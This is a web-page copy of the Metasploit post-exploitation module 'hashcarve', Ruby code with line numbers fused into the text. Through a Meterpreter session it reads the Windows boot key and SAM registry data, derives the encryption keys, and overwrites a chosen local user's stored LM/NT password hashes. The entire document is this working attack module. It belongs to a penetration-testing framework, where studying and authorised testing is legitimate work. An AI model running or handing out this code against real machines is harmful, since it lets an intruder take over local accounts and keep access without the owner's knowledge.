Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/hashcarve.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Auxiliary::Report8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Registry1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Local User Account Hash Carver',16'Description' => %q{ This module will change a local user's password directly in the registry. },17'License' => MSF_LICENSE,18'Author' => [ 'p3nt4' ],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24stdapi_registry_open_key25]26}27}28)29)30register_options(31[32OptString.new('user', [true, 'Username to change password of', nil]),33OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])34]35)36# Constants for SAM decryption37@sam_lmpass = "LMPASSWORD\x00"38@sam_ntpass = "NTPASSWORD\x00"39@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"40@sam_numeric = "0123456789012345678901234567890123456789\x00"41@sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')42@sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')43end4445def run46# Variable Setup47username = datastore['user']48pass = datastore['pass']49# Detecting password style50if pass.length == 3251print_status('Password detected as NT hash')52nthash = pass53lmhash = 'aad3b435b51404eeaad3b435b51404ee'54elsif pass.length == 6555print_status('Password detected as LN:NT hashes')56nthash = pass.split(':')[1]57lmhash = pass.split(':')[0]58else59print_status('Password detected as clear text, generating hashes:')60nthash = hash_nt(pass)61lmhash = hash_lm(pass)62end63print_line('LM Hash: ' + lmhash)64print_line('NT Hash: ' + nthash)65print_status('Searching for user')66ridInt = get_user_id(username)67rid = '%08x' % ridInt68print_line('User found with id: ' + rid)69print_status('Loading user key')70user = get_user_key(rid)71print_status('Obtaining the boot key...')72bootkey = capture_boot_key73print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")74hbootkey = capture_hboot_key(bootkey)75print_status('Modifying user key')76modify_user_key(hbootkey, ridInt, user, [nthash].pack('H*'), [lmhash].pack('H*'))77print_status('Carving user key')78write_user_key(rid, user)79print_status("Completed! Let's hope for the best")80rescue ::Interrupt81raise $ERROR_INFO82rescue ::Exception => e83print_error("Error: #{e}")84end8586def capture_hboot_key(bootkey)87ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)88return if !ok8990vf = ok.query_value('F')91return if !vf9293vf = vf.data94ok.close95hash = Digest::MD5.new96hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)97rc4 = OpenSSL::Cipher.new('rc4')98rc4.decrypt99rc4.key = hash.digest100hbootkey = rc4.update(vf[0x80, 32])101hbootkey << rc4.final102return hbootkey103end104105def get_user_id(username)106ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)107ok.enum_key.each do |usr|108uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)109r = uk.query_value('')110rid = r.type111if usr.downcase == username.downcase112return rid113end114115uk.close116end117ok.close118raise 'The user does not exist'119end120121def get_user_key(rid)122uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)123user = uk.query_value('V').data124uk.close125return user126end127128def write_user_key(rid, user)129uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)130uk.set_value('V', REG_BINARY, user)131uk.close132end133134def modify_user_key(hbootkey, rid, user, nthash, lmhash)135hoff = user[0x9c, 4].unpack('V')[0] + 0xcc136# Check if hashes exist (if 20, then we've got a hash)137lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20138nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20139if !lm_exists && !nt_exists140raise 'No password is currently set for the user'141end142143print_status('Modifiying LM hash')144if lm_exists145user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)146else147print_error('LM hash does not exist, skipping')148end149print_status('Modifiying NT hash')150if nt_exists151user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)152else153print_error('NT hash does not exist, skipping')154end155end156157def rid_to_key(rid)158s1 = [rid].pack('V')159s1 << s1[0, 3]160s2b = [rid].pack('V').unpack('C4')161s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')162s2 << s2[0, 3]163[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]164end165166def encode_utf16(str)167str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)168end169170def encrypt_user_hash(rid, hbootkey, hash, pass)171if hash.empty?172case pass173when @sam_lmpass174return @sam_empty_lm175when @sam_ntpass176return @sam_empty_nt177end178return ''179end180181des_k1, des_k2 = rid_to_key(rid)182d1 = OpenSSL::Cipher.new('des-ecb')183d1.encrypt184d1.padding = 0185d1.key = des_k1186d2 = OpenSSL::Cipher.new('des-ecb')187d2.encrypt188d2.padding = 0189d2.key = des_k2190md5 = Digest::MD5.new191md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)192rc4 = OpenSSL::Cipher.new('rc4')193rc4.encrypt194rc4.key = md5.digest195d2o = d2.update(hash[8, 8])196d1o = d1.update(hash[0, 8])197enchash = rc4.update(d1o + d2o)198return enchash199end200201def hash_nt(pass)202return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]203end204205def hash_lm(key)206lm_magic = 'KGS!@\#$%'207key = key.ljust(14, "\0")208keys = create_des_keys(key[0, 14])209result = ''210cipher = OpenSSL::Cipher.new('DES')211keys.each do |k|212cipher.encrypt213cipher.key = k214result << cipher.update(lm_magic)215end216return result.unpack('H*')[0]217end218219def create_des_keys(string)220keys = []221string = string.dup222until (key = string.slice!(0, 7)).empty?223# key is 56 bits224key = key.unpack('B*').first225str = ''226until (bits = key.slice!(0, 7)).empty?227str << bits228str << (bits.count('1').even? ? '1' : '0') # parity229end230keys << [str].pack('B*')231end232keys233end234end235236237